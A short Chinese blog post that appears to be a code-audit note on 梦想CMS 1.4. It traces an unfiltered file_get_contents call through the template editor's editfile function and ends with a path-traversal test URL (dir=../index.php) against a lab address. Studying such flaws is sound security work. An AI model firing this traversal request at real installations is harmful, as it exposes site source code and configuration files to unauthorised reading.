【文件读取写入】【梦想cms1.4】

方法

string file_get_contents ( string $filename [, bool $use_include_path [, resource $context [, int $offset [, int $maxlen ]]]] )

  将文件读入一个字符串。第三个参数$context可以用来设置一些参数,比如访问远程文件时,设置超时等等。

思路:

源码中查找file_get_contents函数,找到该函数的用法

 

 
public static function getcon($path){
        if(is_file($path)){
            if(!$content = file_get_contents($path)){
                rewrite::js_back('请检查【'.$path.'】是否有读取权限');
            }else{
                return $content;
            }
        }else{
            rewrite::js_back('请检查【'.$path.'】文件是否存在');
        }
    }

分析代码,如果$path能读取到就回复$content,不能就检查读取权限,没有其他过滤。

继续,getcon()在TemplateAction.class.php文件中的editfile函数中调用getcon()

 传入参数为$this->config['template']和$dir,测试可知由$dir控制

//获取文件内容
        $content = string::html_char(file::getcon($this->config['template'].$dir));
        echo $this->config['template'].$dir;

测试

http://10.22.55.248:8083/admin.php?m=Template&a=editfile&dir=../index.php

 

posted @ 2023-10-10 17:07  任尔东西南北风  阅读(16)  评论(0)    收藏  举报